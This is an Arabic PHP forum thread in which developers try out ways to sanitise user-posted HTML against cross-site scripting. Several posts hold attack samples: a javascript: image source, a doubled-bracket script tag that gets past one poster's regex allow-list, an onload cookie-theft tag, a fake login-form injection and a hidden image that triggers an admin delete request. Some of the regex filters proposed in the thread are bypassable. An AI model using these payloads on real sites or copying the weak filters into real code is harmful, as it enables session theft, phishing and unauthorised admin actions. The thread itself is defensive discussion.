النتائج 1 إلى 12 من 12

الموضوع: الحل الامثل لاغلاق ثغرة استخدام HTML

  1. #1
    عضو نشيط
    تاريخ التسجيل
    Apr 2003
    المشاركات
    283

    الحل الامثل لاغلاق ثغرة استخدام HTML



    الموضوع تابع للموضوع
    ثغرة نتيجة استخدام HTML في المشاركات
    http://www.swalif.net/softs/showthre...&postid=431833

    وشكرا للاخوه على النقاش الجميل والهادف

    وهنا امثل الحلول التي توصلت اليها مع التوضيح بالامثلة

    كان التركيز على ابطال مفعول الوصف <script> وكانت اغلب المحاولات من الاخوه لا تفي بالمطلوب

    عند اضافة او تعديل الكلمة لن تظهر في اي مثال او اي مشاركة واذا كان التعديل بسيط واضفنا درس فيه هذه الكلمة لن ينفذ الكود ما يطلب منه إذا قام بتجربته
    لذلك يجب ان تظهر كما هي

    اغلبنا يعرف وظيفة الدالة htmlspecialchars

    تقوم هذه الدالة بتحويل بعض من واصفات html الى رموز حتى تظهرها في المستعرض

    مثال لو تكتب في الفرنت بيج <br> واذهب استعرض html تجد هذه النتيجة
    &lt;br&gt;
    ومن هنا نستنتج الحل
    نستبدل <>

    كود PHP:
    $txt eregi_replace">""&gt;"$txt );
    $txt eregi_replace"<" "&lt;"$txt ); 
    ولو استبدلت واحد منهما يكفي
    حتى الان لم نحل المشكلة لاني اريد ان استخدم واصفات html في المشاركة واريد تنفيذها والمثال السابق يبطلها وكاني استخدم الدالة
    htmlspecialchars

    كل ما يهمنا <script>
    ولكن ربما تاتي بشكل اخر مثلا <script language='JavaScript'>

    الحل نستبدل بداية الوصف > ويكفي
    مثال
    كود PHP:
    <?php
    $txt 
    ="<script language='JavaScript' type='text/javascript'>";
    $txt =preg_replace("/<script/i","&lt;script",$txt);
    echo 
    $txt;
    ?>
    لا يمكن تنفيذة ويصبح من المخرجات

    ومن هذا المثال يمكن استبدال اي وصف html ترى فيه خطورة
    واذا كنت لا تعرف الرموز التي تستبدلها فقط اكتب الوصف في الفرنت بيج
    وانتقل الى مستعرض html

    اتمنى ان اكون قد وصلت لنتيجة مرضيه





    __________________
    مجموعة بي اتش بي العربية www.php4arab.org
    البوابة العربية www.arabportal.net
    rafia غير متواجد حالياً


  2. #2


    أخي العزيز Rafia ..

    المشكلة لاتتلخص في <script> فقط..

    فمثلاً:
    كود PHP:
    <img src="javascript: {XSS}"
    سوف يؤدي إلى وجود ثغرة XSS .. وتنفيذ أي جافاسكربت

    أضف إلى ذالك ال:
    object|embed|applet|form|input

    لهذا استعمل دالة Strip_tags في php مع تمرير ال tags المرغوب بها .. مثل:
    كود PHP:
    <?
    $x 
    Strip_tags($x'<a><b><i><u><dev><p>');
    ?>
    بحيث تكون ال tags المسموح بها غير خطيرة!





    __________________
    ArabBB ... SoooooN!
    Al Mobarmeg المبرمج غير متواجد حالياً

  3. #3
    عضو نشيط
    تاريخ التسجيل
    Oct 2003
    المشاركات
    110


    يا شباب .. أنا طلبت من مبرمج يبرمج لي سكربت .

    وف هذا السكربت يمكن للزوار إرسال مشاركاتهم ومقالاتهم

    وطلبت منه يتيح استخدام الـ HTML في ارسال المشاركة .

    يعني أن الخطورة هنـــــا :shy:


    هل إلغي هذه الخــاصية





    __________________
    إستخدم ملفك الخاص لكتابة توقيعك
    Eng. SultaN غير متواجد حالياً

  4. #4
    عضو فعال جدا
    تاريخ التسجيل
    Feb 2003
    المشاركات
    2,007


    هل إلغي هذه الخــاصية

    نعم





    fayz غير متواجد حالياً

  5. #5
    عضو نشيط
    تاريخ التسجيل
    Apr 2003
    المشاركات
    283


    مرحبا اخي Al Mobarmeg المبرمج

    الدالة تحذف بشكل نهائي وهذا ما نتهرب منه
    ونحاول نسمح ونحتفظ
    وفي اغلب المدخلات للمجلة استخدمها مثل اسم المستخدم او عنوان مشاركة ... الخ

    ما رايك لو نمرر البينات على الدالة htmlspecialchars
    وعند الاخراج نعيد الرموز لاصلها اذا وجد بينها وصف نريدة
    اتوقع تنجح





    __________________
    مجموعة بي اتش بي العربية www.php4arab.org
    البوابة العربية www.arabportal.net
    rafia غير متواجد حالياً

  6. #6


    Strip_tags
    من الصعب تحديد الوسوم المسموح استخدامها هنا و لو سمحت بالوسم <img> فسوف تعمل الجافا سكربت لو كان النص يحتوي مثلا على صورة مثلما تفضل الاخ المبرمج

    لكن لو مررنا كامل النص

    كود PHP:
    <?php

    function javaclean ($text) {
        
    $text preg_replace'/javascript/i''java script'$text );
           return 
    $text ;
    }

    $txt ="<br><script language='JavaScript'
    type='text/javascript'></script><img src=\"javascript: {XSS}\">hi all  JavaScript"
    ;

    ?>
    <html>
    <body>
    <?php
      
    echo javaclean($txt);
    ?>
    </body>
    </html>
    ونستطيع اضافة العديد من العمليات في الداله
    كالغاء جميع الوسوم
    كود PHP:
    $text str_replace'>''&gt;'$text );
    $text str_replace'"''&quot;'$text );
    $text str_replace'<''&lt;'$text ); 






    __________________
    لاَ اِلَهَ اِلاَّ اَنْتَ سُبْحَانَكَ اِنِّي كُنْتُ مِنَ الظَّالِمِينَ
    مراقب1 غير متواجد حالياً

  7. #7
    عضو نشيط
    تاريخ التسجيل
    Apr 2003
    المشاركات
    283


    السلام عليكم تقريبا وصلت لما اريد
    كما ذكرت في ردي على اخوي المبرمج

    هذا الحل النهائي
    الان استطيع ان اطبع اي كود واسمح لما اريد فقط
    مثال
    كود PHP:
    <?php
    $txt 
    ="<br>php<script language='JavaScript' type='text/javascript'><br><b>Rafia</b>";
    $allow "br|b|i|p|u|a|center|hr";
    $txt preg_replace("/<((?!\/?($allow)\b)[^>]*>)/xis""&lt;\\1"$txt);
    $txt preg_replace("/<($allow).*?>/i""<\\1>"$txt);
    echo 
    $txt;
    ?>
    وان شاء الله راح اعدلة واطورة

    اخي مراقب 1
    نستطيع التاكد من ان ما بداخل <img> صورة او لا هل هناك غيرها ممكن العبث بها ؟





    __________________
    مجموعة بي اتش بي العربية www.php4arab.org
    البوابة العربية www.arabportal.net
    rafia غير متواجد حالياً

  8. #8


    اهلا رفيع اسف على التأخير

    والله حالياً لا اذكر بصراحة اكواد اخرى
    كلها عمليات تقتصر على وسم السكربت مثل alert
    (document.cookie) وغيرها


    الطريقه التي كتبتها ممتازه ولكن هناك خلل بسيط في الطريقة التي كتبتها واستطيع تنفيذ اي وسم اريده كما في المثال التالي :

    كود PHP:
    <?php
    $txt 
    ="<br>php<<Script>alert
    (document.cookie)<</Script><br><b>Rafia</b>"
    ;
    $allow "br|b|i|p|u|a|center|hr";
    $txt preg_replace("/<((?!\/?($allow)\b)[^>]*>)/xis""&lt;\\1"$txt);
    $txt preg_replace("/<($allow).*?>/i""<\\1>"$txt);

    ?>
    <html>
    <body>
    <?php
    echo $txt;
    ?>
    </body>
    </html>
    جربه وانتظر ردك





    __________________
    لاَ اِلَهَ اِلاَّ اَنْتَ سُبْحَانَكَ اِنِّي كُنْتُ مِنَ الظَّالِمِينَ
    مراقب1 غير متواجد حالياً

  9. #9
    عضو نشيط
    تاريخ التسجيل
    Apr 2003
    المشاركات
    283


    اهلا اخي مراقب1
    تحايل جميل جدا وحلينا المشكلة ولكن قد يمر علينا تحايل ثاني
    واتوقع ان حصر الكلمات الضارة افضل لان حصر الغير ضار صعب لكثرتها

    كود:
    <?php
    $txt ="<br>php<<Script>alert
    (document.cookie)<</Script><br><b>Rafia</b>";
    $allow = "br|b|i|p|u|a|center|hr";
    $txt = preg_replace("/<+((?!\/?($allow)\b)[^>]*> )/xis", "&lt;\\1", $txt);
    $txt = preg_replace("/<($allow).*?>/i", "<\\1>", $txt);
    //$txt = preg_replace("'<script[^>]*>.*</script>'siU", "", $txt);
    ?>
    <html>
    <body>
    <?php
    echo $txt;
    ?>
    </body>
    </html>
    جرب واتمنى انك تجد طريقة لتحايل عليه





    __________________
    مجموعة بي اتش بي العربية www.php4arab.org
    البوابة العربية www.arabportal.net
    rafia غير متواجد حالياً

  10. #10
    عضو نشيط جدا
    تاريخ التسجيل
    Apr 2001
    المشاركات
    576


    يعطيكم العافية شباب على المجهودات

    .... بس سؤالي هنا .. هل يمكن تطبيق ما توصلتم له على منتديات الـ VB أو غيرها ... ؟ بحيث نستطيع تفعيل هذه الخاصية بدون خوف أو قلق

    أتمنى لكم التوفيق





    __________________
    شبكة العربي الموحد الإخبارية
    http://www.4uarab.com
    ===
    المنتدى العربي الموحد
    http://www.4uarab.com/vb
    المشاري غير متواجد حالياً

  11. #11


    رد مقتبس من rafia
    اهلا اخي مراقب1
    تحايل جميل جدا وحلينا المشكلة ولكن قد يمر علينا تحايل ثاني
    واتوقع ان حصر الكلمات الضارة افضل لان حصر الغير ضار صعب لكثرتها

    كود:
    <?php
    $txt ="<br>php<<Script>alert
    (document.cookie)<</Script><br><b>Rafia</b>";
    $allow = "br|b|i|p|u|a|center|hr";
    $txt = preg_replace("/<+((?!\/?($allow)\b)[^>]*> )/xis", "&lt;\\1", $txt);
    $txt = preg_replace("/<($allow).*?>/i", "<\\1>", $txt);
    //$txt = preg_replace("'<script[^>]*>.*</script>'siU", "", $txt);
    ?>
    <html>
    <body>
    <?php
    echo $txt;
    ?>
    </body>
    </html>
    جرب واتمنى انك تجد طريقة لتحايل عليه

    استبدلت بداية وسم script بـ \x3c

    و بصراحه لم انجح في التحايل عليه حالياً ولكنه قيد الدراسه

    اما من ناحية حصر الغير ضار فهذه فكرة جميلة جداً .

    تمنياتي لك بالتوفيق وفي حال وجدت ثغره للتحايل عليها سوف اقوم بمراسلتك

    شكرا

    مراقب1





    __________________
    لاَ اِلَهَ اِلاَّ اَنْتَ سُبْحَانَكَ اِنِّي كُنْتُ مِنَ الظَّالِمِينَ
    مراقب1 غير متواجد حالياً

  12. #12
    عضو نشيط
    تاريخ التسجيل
    May 2002
    المشاركات
    137


    السلام عليكم

    الخلل (الثغرات) التي يمكن أن تحدثها إمكانية إدخال نص HTML من قبل المستخدم تقع ضمن ثلاثة مجالات مرتبة حسب نسبة الخطورة:
    1- التعدي على أمن وخصوصية المستخدم الزائر للصفحة
    2- تنفيذ بلاغات تحكم باسم الموقع لصالح المخترق ضد المستخدم الزائر أو غيره
    3- تنفيذ بلاغات تحكم باسم مدير الموقع أو أي شخص له صلاحية

    أما بالنسبة للأولى فيمكن أن تحدث عندما يقوم المخترق بكتابة نص في أحد الموضوعات لقراءة بيانات من جهاز المتصفح وإرسالها إلى اليه، كأن يرسل نسخة من محتويات البصمات (cookies) أو نوع المتصفح والنظام أو على الأقل رقم آي بي الشخص (حتى وإن كان يستخدم ملقم وكيل proxy)، وذلك بسبب استخدام أي عبارة من عبارات html التي تقوم بطلب بيانات GET أو إرسال بيانات POST، وهذه تشمل:
    img
    iframe
    style
    script
    applet
    base
    bgsound
    embed
    object
    <.. background=
    link
    input
    form

    وخصوصاً عند توفر إمكانية كتابة نص script، مثال:

    كود:
    <img src="spacer.gif" width=0 height=0 onload="this.src='......?data='+document.cookie;">
    وهذا النص الذي لا تتوقعه أكثر معالجات نصوص html في المواقع التي تسمح بالكتابة قد يسمح على الأقل بأن يتعرف الدخيل على هوية كل من يزور الموضوع، وأي معلومات أخرى قد تتوفر عنه (تخضع لعدة عوامل، منها طريقة الحماية المتبعة في الموقع نفسه والمواقع الأخرى التي يزورها الزائر)

    -----
    أما بالنسبة للثانية فقد يتمكن الدخيل من تنفيذ بلاغات تحكم على جهاز المتصفح الزائر باسم الموقع، وأعني بذلك إن كان هذا الموقع من المواقع الآمنة بالنسبة للزائر فإنه سيقوم بالسماح بتنفيذ كائنات java و active-x مثلاً كونه موقع آمن في حين لا يسمح لمواقع أخرى لذلك (من خيارات المتصفح) فإن الدخيل يستطيع أن يجلب كائنات أو يقوم بتنفيذ برامج javascript تسمح بالكتابة على ملفات الجهاز أو تكوين فيروسات بأكثر من طريقة حسب نوع المتصفح، وربما استغلال ثغرة في إصدار المتصفح نفسه، كما يمكن أيضاً أن يستغل الدخيل وجود إمكانية كتابة javascript أو كتابة غير منتظمة لنصوص html في أن يقلب محتوى الصفحة ويجعله يبدو كنموذج الدخول (login form) الذي يستخدمه نفس الموقع، فيظن الزائر أن الموقع يطلب منه إعادة اسم المستخدم وكلمة المرور مرة أخرى ويقوم بكتابة بحسن نية دون علمه أنها سترسل إلى الدخيل.

    كود:
    <form action=....>
    Username <input  ...>
    Password <input ..> <input ..>
    </form></table></body><<noscript>
    -------
    أما بالنسبة للثالثة وهي الأكثر خطراً، وهي عندما يعرف الدخيل مكونات برنامج الموقع، فأنه سيحاول الإيقاع بمن لهم الصلاحية في إحداث تغييرات بالموقع، أو أن يسخر الموقع لصالحه، ولأشرح ذلك سوف أفترض أن موقع سوالف يستخدم تطبيقاً يسمح بكتابة نصوص html دون قيود، وأن هناك ملفاً اسمه admin.cgi يستخدم لإدارة التطبيق، ولا يسمح لأحد تنفيذ هذا التطبيق سوى مدير الموقع والذي يقوم بالدخول باسمه، وأنه عندما يقوم مدير الموقع بحذف موضوع ما فإنه سيقوم بتنفيذ صفحة مثل admin.cgi?delete=291&confirmed=yes فإن الدخيل يستطيع أن يخدع المتصفح لتنفيذ هذه الصفحة عند ما يزور المدير نص الموضوع، يكفي فقط أن يكتب الدخيل هذا النص
    كود:
    <img src='admin.cgi?delete=291&confirmed=yes' width=0 height=0>
    إن الصورة لن تظهر فعلاً، والملف سيتم تنفيذه باسم كل زائر يستعرض نفس النص، وإذا ما كان هذا الزائر هو المدير نفسه، فسيتم تنفيذها باسمه ويتم الحذف فعلياً! وأحياناً دون أن ينتبه مدير الموقع لما حدث
    تخيلوا أيضاً أنه يستخدم نصاً لإرسال رسائل بريد إلكتروني أو رسائل خاصة؟

    -----------
    الأمثلة التي ذكرتها مقتضبة وذلك لأنني لا أريد أن أشرح الطريقة، ولكن لأوضحها فقط حتى تتمكنوا من الانتباه إلى تلك الإمكانيات إذا كنتم ترغبون في السماح بنصوص html، عليكم السماح بها ولكن بقيود

    بقي أن أنبه، هذه الثغرات ليست لها علاقة بلغة بي إتش بي، بل يمكن أن تحدث في أي برنامج، وحتى إن كان برنامج تطبيقياً!





    __________________
    visualmind (at) php.net
    أعتذر كثيراً عن غيابي من المشاركات والذي لن يطول أكثر إن شاء الله.
    VisualMind غير متواجد حالياً





ضوابط المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •  

أضف موقعك هنا| اخبار السيارات | حراج | شقق للايجار في الكويت | بيوت للبيع في الكويت | دليل الكويت العقاري | مقروء | شركة كشف تسربات المياه | شركة عزل اسطح بالرياض | عزل فوم بالرياض| عزل اسطح بالرياض | كشف تسربات المياة بالرياض | شركة عزل اسطح بالرياض